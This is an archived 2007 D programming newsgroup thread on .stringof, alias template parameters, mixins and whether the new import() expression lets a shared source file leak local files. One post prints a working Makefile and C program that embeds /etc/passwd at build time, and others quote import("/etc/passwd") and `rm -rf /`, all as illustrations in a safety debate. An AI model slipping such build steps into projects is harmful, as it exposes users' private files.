February 12, 2007
Bruno Medeiros wrote:
> Walter Bright wrote:
>> Bruno Medeiros wrote:
>>> Well, actually you can do that, with the unannounced (in the changelog) .stringof property ( http://www.digitalmars.com/d/property.html ) :
>>>
>>> ----
>>>
>>> template MakeVariable(Type, char[] name)
>>> {
>>>   const char[] MakeVariable = Type.stringof ~ " " ~ name ~ ";";
>>> }
>>
>> It's unannounced because it doesn't work right yet.
> 
> What do you mean? If it's doesn't work right yet, why was it released already? (basic cases seem to be working)

It doesn't hurt anything to be there.
February 12, 2007
Walter Bright wrote:

> Bruno Medeiros wrote:
>> Walter Bright wrote:
>>> Bruno Medeiros wrote:
>>>> Well, actually you can do that, with the unannounced (in the
>>>> changelog) .stringof property (
>>>> http://www.digitalmars.com/d/property.html ) :
>>>>
>>>> ----
>>>>
>>>> template MakeVariable(Type, char[] name)
>>>> {
>>>>   const char[] MakeVariable = Type.stringof ~ " " ~ name ~ ";";
>>>> }
>>>
>>> It's unannounced because it doesn't work right yet.
>> 
>> What do you mean? If it's doesn't work right yet, why was it released already? (basic cases seem to be working)
> 
> It doesn't hurt anything to be there.

Is there any chance we could have alias template parameters become more generic in 1.0006 ? together with stringof, the new mixins could become very powerful...

with much nicer syntax.

template Add(alias L, alias R)
{
        const Add = L.stringof ~ " + " ~ R.stringof;
}

right now this template only works when the parameters are single symbols. would be nice be be able to do:

Add!(42,foo);
Add!(foo+bar,foo-bar);

etc...
February 13, 2007
On Wed, 07 Feb 2007 09:30:31 +0300, Vladimir Panteleev <thecybershadow@gmail.com> wrote:

> On Tue, 06 Feb 2007 06:54:18 +0200, Walter Bright <newshound@digitalmars.com> wrote:
>
>> http://www.digitalmars.com/d/changelog.html
>
> Hmm. What would prevent someone from writing programs like:
>    writef(import("/etc/passwd"));
> and trick someone to compile this program for them (under the pretext that they don't have a D compiler, for example) to steal the user list (or the contents of any other file with a known absolute or relative path on the victim's system)?

I don't think that prevention of including some private data during compilation is a task of D compiler. That private data can be stolen even without new import expression -- it is only necessary to have ordinal unix utilities and make available. Consider the following sample:

=== Makefile ===
grab_password: grab_password.c
	gcc -o grab_password grab_password.c

grab_password.c: file_content.h

file_content.h: Makefile
	echo 'const char file_content[] = "\' > file_content.h
	uuencode /etc/passwd password-info | sed 's/\\/\\\\/g' | sed 's/"/\\"/g' | sed 's/^\(.*\)/\1\\n\\/' >> file_content.h
	echo '";' >> file_content.h

=== grab_password.c ===
#include <stdio.h>

#include "file_content.h"

int main()
{
	printf( "file content is: %s\n", file_content );
}

If someone sent this two files to you and asked to compile and return the result you will send your password without the knowledge about it.

And things are yet more interesting -- many projects use build tools those built on top on dynamic languages (SCons uses Python, Rake and Mxx_ru uses Ruby, MPC (from ACE) uses Perl for generating makefiles, OpenSSL uses Perl for configuration (at least on MSWin platfrom)). In such situation build script can grab what it wants without telling you a word.

-- 
Regards,
Yauheni Akhotnikau
February 13, 2007
Walter Bright wrote:
> Bruno Medeiros wrote:
>> Well, actually you can do that, with the unannounced (in the changelog) .stringof property ( http://www.digitalmars.com/d/property.html ) :
>>
>> ----
>>
>> template MakeVariable(Type, char[] name)
>> {
>>   const char[] MakeVariable = Type.stringof ~ " " ~ name ~ ";";
>> }
> 
> It's unannounced because it doesn't work right yet.

<trashes meta.nameof>
It was a piece of code I was particularly proud of. Ah well.
</trashes>

It seems that 90% of the metaprogramming code I've ever written has been made obsolete by being incorporated into the code language.
My 'workarounds' file went from 16 entries to zero.

But the ability to do it for an expression as well is quite exciting; it seems that this could easily supercede lazy parameters.
So I'm not complaining <g>.
February 13, 2007
On Tue, 13 Feb 2007 12:39:22 +0200, Yauheni Akhotnikau <eao197@intervale.ru> wrote:

> I don't think that prevention of including some private data during compilation is a task of D compiler. That private data can be stolen even without new import expression -- it is only necessary to have ordinal unix utilities and make available. Consider the following sample:

By definition, makefiles are much more dangerous than source code files. A makefile runs actual commands on your system, so it's obvious that it may contain something like `rm -rf /' in it. A compiler's purpose, by definition, is to read human-readable source code and to produce machine-readable executable/byte-code. See my other posts in this thread for the reason why I believe there must be a strong distinction between utilities that may or may not perform potentially dangerous operations, no matter the input files.

-- 
Best regards,
  Vladimir                          mailto:thecybershadow@gmail.com
February 13, 2007
Don Clugston wrote:
> Walter Bright wrote:
>> Bruno Medeiros wrote:
>>> Well, actually you can do that, with the unannounced (in the changelog) .stringof property ( http://www.digitalmars.com/d/property.html ) :
>>>
>>> ----
>>>
>>> template MakeVariable(Type, char[] name)
>>> {
>>>   const char[] MakeVariable = Type.stringof ~ " " ~ name ~ ";";
>>> }
>>
>> It's unannounced because it doesn't work right yet.
> 
> <trashes meta.nameof>
> It was a piece of code I was particularly proud of. Ah well.
> </trashes>
> 
> It seems that 90% of the metaprogramming code I've ever written has been made obsolete by being incorporated into the code language.
> My 'workarounds' file went from 16 entries to zero.
> 
> But the ability to do it for an expression as well is quite exciting; it seems that this could easily supercede lazy parameters.
> So I'm not complaining <g>.

Heh, you should see what happened to Pyd when tuples were introduced to the language. In fact, thanks to the magic of Subversion, you can!

http://dsource.org/projects/pyd/changeset/45

Ohh, lookit all the huge, pretty red sections.

-- 
Kirk McDonald
http://kirkmcdonald.blogspot.com
Pyd: Connecting D and Python
http://pyd.dsource.org
February 13, 2007
Walter Bright escribió:
> Serg Kovrov wrote:
>> Ary Manzana wrote:
>>> But... I'm wondering which are the evil uses of it. For me it's now almost impossible not to program with an IDE (big projects, I mean). At least in Java. Maybe compile time stuff will make it such that an IDE won't be needed anymore. But it's very hard for me to see that happening.
>>
>> I believe by 'evil use', Walter meant evil use of mixins, not IDE's. Isn't he?
>>
> 
> Yes. IDEs aren't evil.

Sorry, I misunderstood.
February 13, 2007
Tomas Lindquist Olsen wrote:
> Is there any chance we could have alias template parameters become more
> generic in 1.0006 ? together with stringof, the new mixins could become
> very powerful...
> 
> with much nicer syntax.
> 
> template Add(alias L, alias R)
> {
>         const Add = L.stringof ~ " + " ~ R.stringof;
> }
> 
> right now this template only works when the parameters are single symbols.
> would be nice be be able to do:
> 
> Add!(42,foo);
> Add!(foo+bar,foo-bar);

What you're asking for we've been calling "alias expressions". It'll get here, just not in the next version.
February 13, 2007
Don Clugston wrote:
> Walter Bright wrote:
>> Bruno Medeiros wrote:
>>> Well, actually you can do that, with the unannounced (in the changelog) .stringof property ( http://www.digitalmars.com/d/property.html ) :
>>>
>>> ----
>>>
>>> template MakeVariable(Type, char[] name)
>>> {
>>>   const char[] MakeVariable = Type.stringof ~ " " ~ name ~ ";";
>>> }
>>
>> It's unannounced because it doesn't work right yet.
> 
> <trashes meta.nameof>
> It was a piece of code I was particularly proud of. Ah well.
> </trashes>
> 
> It seems that 90% of the metaprogramming code I've ever written has been made obsolete by being incorporated into the code language.
> My 'workarounds' file went from 16 entries to zero.
> 
> But the ability to do it for an expression as well is quite exciting; it seems that this could easily supercede lazy parameters.
> So I'm not complaining <g>.

The big problem with .stringof is the following:

	alias Foo.Bar.Abc T;
	typedef int Abc;
	const char[] s = T.stringof;
	typeof(mixin(s)) x;

s is given the string "Abc". So, when the mixin evaluates s, it resolves to the local declaration of Abc, not the fully qualified one.
February 13, 2007
Kirk McDonald wrote:
> Ohh, lookit all the huge, pretty red sections.

My goal is to make the Boost implementation code look as obsolete as a muzzle-loading smoothbore.